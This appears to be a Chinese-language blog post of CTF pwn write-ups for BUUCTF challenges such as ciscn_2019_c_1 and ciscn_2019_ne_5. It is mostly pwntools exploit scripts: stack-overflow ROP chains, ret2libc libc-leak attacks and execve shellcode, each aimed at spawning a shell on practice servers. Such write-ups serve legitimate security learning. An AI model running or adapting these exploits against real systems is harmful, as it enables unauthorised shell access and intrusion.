Ubuntu 18 libc:libc6_2.27-0ubuntu3_amd64
rip
from pwn import *
io = remote('node5.buuoj.cn',28846)
context.log_level = 'debug'
payload = b'a' * (0xF + 0x8) + p64(0x40118A)
io.sendline(payload)
io.interactive()
warmup_csaw_2016
from pwn import *
io = remote('node5.buuoj.cn',28247)
context.log_level = 'debug'
io.recvuntil(b'>')
payload = b'a' * (0x40 + 0x8) + p64(0x40060d)
io.sendline(payload)
io.interactive()
ciscn_2019_c_1
发现没开canary,也没开PIE
进入到encrypt函数中发现存在溢出漏洞
可以构建ROP泄露puts和gets函数地址,得到libcbase
但是仍然得到不了shell,而且还给出了报错
经过了解发现是栈没有对齐的原因
from pwn import *
from LibcSearcher import *
io = remote('node5.buuoj.cn',29827)
#io = process('./pwn')
elf = ELF('./pwn')
context.log_level = 'debug'
pop_rdi_ret = 0x400c83
ret=0x4006b9
io.sendlineafter(b'Input your choice!\n',b'1')
payload1 = b'\x00' + b'a'*(0x50-1+8) + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload1)
io.recvline()
io.recvline()
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print('puts addr >>> ' + hex(puts_addr))
io.sendlineafter(b'Input your choice!\n',b'1')
payload1 = b'\x00' + b'a'*(0x50-1+8) + p64(pop_rdi_ret) + p64(elf.got['gets']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload1)
io.recvline()
io.recvline()
gets_addr = u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print('gets addr >>> ' + hex(gets_addr))
libc = LibcSearcher('puts',puts_addr)
libc.add_condition('gets',gets_addr)
libcbase = puts_addr - libc.dump('puts')
binsh = libcbase + libc.dump('str_bin_sh')
system = libcbase + libc.dump('system')
io.sendlineafter(b'Input your choice!\n',b'1')
payload2= b'\x00' + b'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload2)
io.interactive()
jarvisoj_level2_x64
存在溢出而且没有开保护,而且还有binsh,有system
from pwn import *
io = remote('node5.buuoj.cn',26468)
pop_rdi_ret = 0x4006b3
binsh = 0x600A90
payload = b'a'*0x88 + p64(pop_rdi_ret) + p64(binsh) + p64(0x400603)
io.sendlineafter(b'Input:\n',payload)
io.interactive()
get_started_3dsctf_2016
栈内平衡和外平衡 及例题get_started_3dsctf_2016 – vstral's blog
[HarekazeCTF2019]baby_rop
binsh也有,直接简单溢出返回system
from pwn import *
io = remote('node5.buuoj.cn',26268)
context.log_level = 'debug'
payload = b'a'*0x18 + p64(0x400683) + p64(0x601048) + p64(0x4005E3)
io.sendlineafter(b'What\'s your name? ',payload)
io.interactive()
在/home/babyrop下找到flag
others_shellcode
这里进行了一个系统调用,调用execve
当执行int 0x80时候,eax寄存器的值会被作为系统调用号,而execve的系统调用号就是11
完整的execve系统调用应该是
section .data
path db '/bin/sh', 0 ; 程序路径(要执行的程序)
argv db '/bin/sh', 0 ; 参数数组
envp db 0 ; 环境变量数组(这里为空)
section .text
global _start
_start:
; 将系统调用号放入 eax
mov eax, 11 ; sys_execve 系统调用号
; 将程序路径放入 ebx
mov ebx, path ; argv[0](程序路径)
; 将参数数组放入 ecx
mov ecx, argv ; argv
; 将环境变量数组放入 edx
mov edx, envp ; envp
; 调用系统调用(int 80h)
int 0x80 ; 触发系统调用
解释:
mov eax, 11
:将系统调用号(execve
)加载到eax
寄存器中。mov ebx, path
:将程序路径(/bin/sh
)加载到ebx
中,作为第一个参数。mov ecx, argv
:将参数数组(argv
)加载到ecx
中,作为第二个参数。mov edx, envp
:将环境变量数组(envp
)加载到edx
中,作为第三个参数。int 0x80
:触发系统调用,执行execve
。
execve()系统调用的作用是运行另外一个指定的程序,他会把新程序加载到当前进程的内存空间,当前的进程会被丢弃,他的堆栈和所有的端数据都会被新进程的部分替代,然后开始运行新程序,同时进程ID不变
所以说这里直接nc连接就可以得到shell
not_the_same_3dsctf_2016
gets造成溢出,而且发现有一个getsecret函数
读取了flag.txt文件,但是并没有输出,而是写到了fl4g中
而且需要注意这里是外平栈
因为这里是静态链接,所以可以利用write函数输出它
from pwn import *
io = remote('node5.buuoj.cn',27317)
context.log_level = 'debug'
getsecret = 0x080489A0
write = 0x0806E270
flag = 0x080ECA2D
exit = 0x0804E660
printf = 0x0804F0A0
payload = b'a'*0x2d + p32(getsecret) + p32(write) + b'aaaa' + p32(1) + p32(flag) + p32(45)
io.sendline(payload)
io.interactive()
ciscn_2019_en_2
利用溢出直接ret2libc即可
from pwn import *
io = process('./ciscn_2019_en_2')
io = remote(b'node5.buuoj.cn',25496)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_en_2')
libc = ELF('./libc6_2.27-0ubuntu3_amd64.so')
io.recvuntil(b'Input your choice!\n')
io.sendline(b'1')
io.recvuntil(b'Input your Plaintext to be encrypted\n')
pop_rdi_ret = 0x400c83
ret = 0x4006b9
payload = b'a'*78 + b'bb' + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['encrypt'])
io.sendline(payload)
io.recvuntil(b'll')
#puts addr
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr >>> " + hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search(b'/bin/sh').__next__()
payload = b'a'*78 + b'bb' + p64(0xdeadbeef) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
io.interactive()
ciscn_2019_ne_5
在addlog函数中,
对a1变量输入了128个字节,但是a1是指向全局变量src赋值的指针
然后在getflag函数中dest距ebp只有72个字节
所以可以利用addlog函数写入,然后在getflag函数中溢出得到shell,没有binsh可以利用sh
注意是32位系统栈传参
这里我一开始直接跳转到call system函数这个指令的位置,并没有拿到shell
因为call的本质是push call指令的下一条指令到栈中,如果要使用跳转到call,就不用加fake返回地址了
Exp 1:
from pwn import *
io = process('./ciscn_2019_ne_5')
#io = remote(b'node5.buuoj.cn',25496)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
libc = ELF('./libc6_2.27-0ubuntu3_amd64.so')
io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')
io.sendlineafter(b':',b'1')
system = elf.symbols['system']
system1 = 0x080486B9
print("system :" + hex(system))
sh = 0x080482ea
payload = b'a'*(0x48 + 4) + p32(system1) + p32(sh)
io.sendlineafter(b'info:',payload)
io.sendlineafter(b'Exit\n:',b'4')
io.interactive()
Exp 2:
from pwn import *
io = process('./ciscn_2019_ne_5')
#io = remote(b'node5.buuoj.cn',25496)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
libc = ELF('./libc6_2.27-0ubuntu3_amd64.so')
io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')
io.sendlineafter(b':',b'1')
system = elf.symbols['system']
print("system :" + hex(system))
sh = 0x080482ea
payload = b'a'*(0x48 + 4) + p32(system) + b'1234' + p32(sh)
io.sendlineafter(b'info:',payload)
io.sendlineafter(b'Exit\n:',b'4')
io.interactive()
Comments NOTHING